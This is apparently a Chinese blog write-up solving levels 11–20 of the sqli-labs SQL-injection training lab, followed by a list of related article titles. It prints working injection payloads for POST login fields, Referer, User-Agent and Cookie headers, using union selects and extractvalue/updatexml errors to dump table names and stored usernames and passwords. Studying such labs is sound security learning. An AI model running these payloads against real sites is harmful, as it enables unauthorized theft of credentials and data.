从第11关开始,我们就进入到了POST注入的世界了。

POST
post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以

post的方式提交的服务器的,之后再由服务器端进行验证。
闯关时我们可以用burpsuit抓包软件也可以继续使用火狐+hackbar插件

好,开始闯关

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

我们先输账号为:admin'密码为:123可以看到123被单引号括住,说明是单引号闭合型。

接下来输入账号为:admin'#,密码为:123可以看到,页面显示正确进入,而且还有两个显示位面。

这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错0admin' order by 3#,(注意这里注释的话要用#,用–+页面会报错的)

页面错误,将3改为2,页面正常。所以有两个字段。

爆数据库名:Username:0admin' union select 1,database()#

爆数据表名:Username:0admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#

爆字段名:Username:0admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')#

爆所有数据:Username:0admin' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

第十二关

和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦  {")闭合型注入}

第十三关

发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

获得数据库名

最后获得用户名和密码(中间跳了一个世纪的距离,不会的看我的上一篇文章很清晰的讲述了如何到这步)和第五关基本一样,不再赘述

第十四关

和第十三关基本一样就是把单引号变形变成双引号,过程不再赘述,最后获得用户名和密码

第十五关

这关题目是说时间延迟单引号盲注,那就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的

获取用户名密码

第十六关

和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注

第十七关

这一关不管怎么找闭合性,都只出现同一串英文字母,因为这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破

Username:admin Password:1' order by 3#可以看到

有个报错显示,想到可以用报错注入。
爆数据库:Username:admin Password:1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

爆数据表:Password:1'and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
但是,到这里发现只出现了一个表名

那这样好像进行不下去了,搜索得知我们可以使用updatexml函数。
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。

爆完整的列名
Password:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

爆字段名:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

查询数据时,并不能直接用简单的select concat(username),这样会引起报错。
因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

爆数据:' or updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)#然后修改limit的值就可以查到所有数据。

第十八关

这关是基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?这关我们就要用burpsuite抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost)

我们先输入一个admin,admin,发送到repeater

然后这句话换成我们想要的查询语句就可以了(使用extractvalue进行)

接下来的步骤和之前的报错型注入一摸一样,

获得数据库名

获得数据库表

获得数据库列名

获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)

第十九关

这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer

获得用户名密码

 第二十关

进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入

在这里进行注入

还是那老一套,看加不加单引号,怎么闭合,有几个显示位。最后发现是单引号闭合,有三个显示位

获得数据库名

获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了

11-20关结束

sql-lib闯关11-20关的更多相关文章

  1. sqli-labs通关----11~20关

    第十一关 从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容. post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常 ...

  2. Monyer's Game 11~15关过关方法

    到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...

  3. SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关

    0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...

  4. XSS挑战20关

    第一关: 没有过滤,直接构造payload过关: http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/ ...

  5. 20道C#练习题(二)11——20题

    11.一个游戏,前20关是每一关自身的分数,1-30关每一关是10分,31-40关,每一关是20分,1-49关,每一关是30分,第50关是100分,输入你现在闯到的关卡数,求你现在拥有的分数.利用if ...

  6. sql 第 10条 到20条

    sql 第 10条 到20条 select * from( select *,ROW_NUMBER () over (order by @@servername) as rownum from tb_ ...

  7. SQL反模式学习笔记20 明文密码

    目标:恢复或重置密码 反模式:使用明文存储密码 1.存储密码 使用明文存储密码或者在网络上传递密码是不安全的. 如果攻击者截取到你用来插入(或者修改)密码的sql语句,就可以获得密码.     黑客获 ...

  8. SQL Server安全(11/11):审核(Auditing)

    在保密你的服务器和数据,防备当前复杂的攻击,SQL Server有你需要的一切.但在你能有效使用这些安全功能前,你需要理解你面对的威胁和一些基本的安全概念.这篇文章提供了基础,因此你可以对SQL Se ...

  9. sqlplus: error while loading shared libraries: /u01/app/lib/libclntsh.so.11.1

    成功安装了Oracle 11g后,使用sqlplus登录数据库时遇到下面错误: [oracle@DB-Server ~]$ sqlplus / as sysdba   sqlplus: error w ...

  10. Error after SQL Server 2012 installation: Login Failure for "SQL Server Integration Services 11.0" SSIS service

    When you install SQL Server 2012 and you try to connect to SSIS services, you cannot due to that the ...

随机推荐

  1. SQL语法练习(一)

    查询学习课程"python"比课程 "java" 成绩高的学生的学号;– 思路:– 获取所有有python课程的人(学号,成绩) - 临时表– 获取所有有jav ...

  2. JNI 问题 wrong ELF class

    使用JNI发现一个问题, wrong ELF class: ELFCLASS64)主要是机器是64位的OS,默认编译的.so是64位 而java设置的默认是32位 JDK, 所以会出现这个问题.那么就 ...

  3. 测试LFI WITH PHPINO过程中的一些记录

    原理:以往LFI漏洞都是需要满足两个条件:1.攻击者上传一个含PHP代码的的文件,后缀名任意,没有后缀名也可以:2.需要知道上传后的文件路径及文件名,然后包含之. 后来有国外研究者发现了新的攻击方式, ...

  4. C++走向远洋——53(项目一1、分数类的重载、加减乘除、比较)

    */ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...

  5. CSS的五种定位方式

    CSS中一共有五种定位: position:static:默认值 position:absolute:绝对定位 position:relative:相对对定位 position:fixed:固定定位 ...

  6. LeetCode 题解 | 面试题 10.01. 合并排序的数组

    给定两个排序后的数组 A 和 B,其中 A 的末端有足够的缓冲空间容纳 B. 编写一个方法,将 B 合并入 A 并排序. 初始化 A 和 B 的元素数量分别为 m 和 n. 示例: 输入: A = [ ...

  7. 小程序打开web-view传参数注意事项

    通过URL传参数过去的参数值建议使用BASE64 加密后传输    (尤其是值含有 ‘中文’,‘符号’,‘http’ 的内容) 试过使用 encodeURI, encodeURLComment ,es ...

  8. 在Shadow DOM使用原生模板

    原生模板的优势 延迟了资源加载 延迟了加载和处理模板所引用的资源的时机,这样,用户就能够在模板中使用任意多的资源,却不阻碍页面的渲染. 延迟了渲染内容 无论模板在什么位置,浏览器不会把模板中的内容直接 ...

  9. scroll-view组件bindscroll实例应用:自定义滚动条

    我们知道scroll-view组件作为滑动控件非常好用,而有时候我们想放置一个跟随滚动位置来跟进的滚动条,但又不想用滚动条api该怎么办呢?(当然是自己写一个呗还能怎么办[自黑冷漠脸])嗯,没错.自己 ...

  10. 有史以来最全的CMD命令

    说在前面的话: 本篇是博主通过网上查找整理而成的,且都是亲测可以的一些cmd命令,可以说是很齐全了,当然,如果有不可以运行的代码,欢迎大家留言指出,我会不断完善的,谢谢. CMD作用: 掌握一些基本的 ...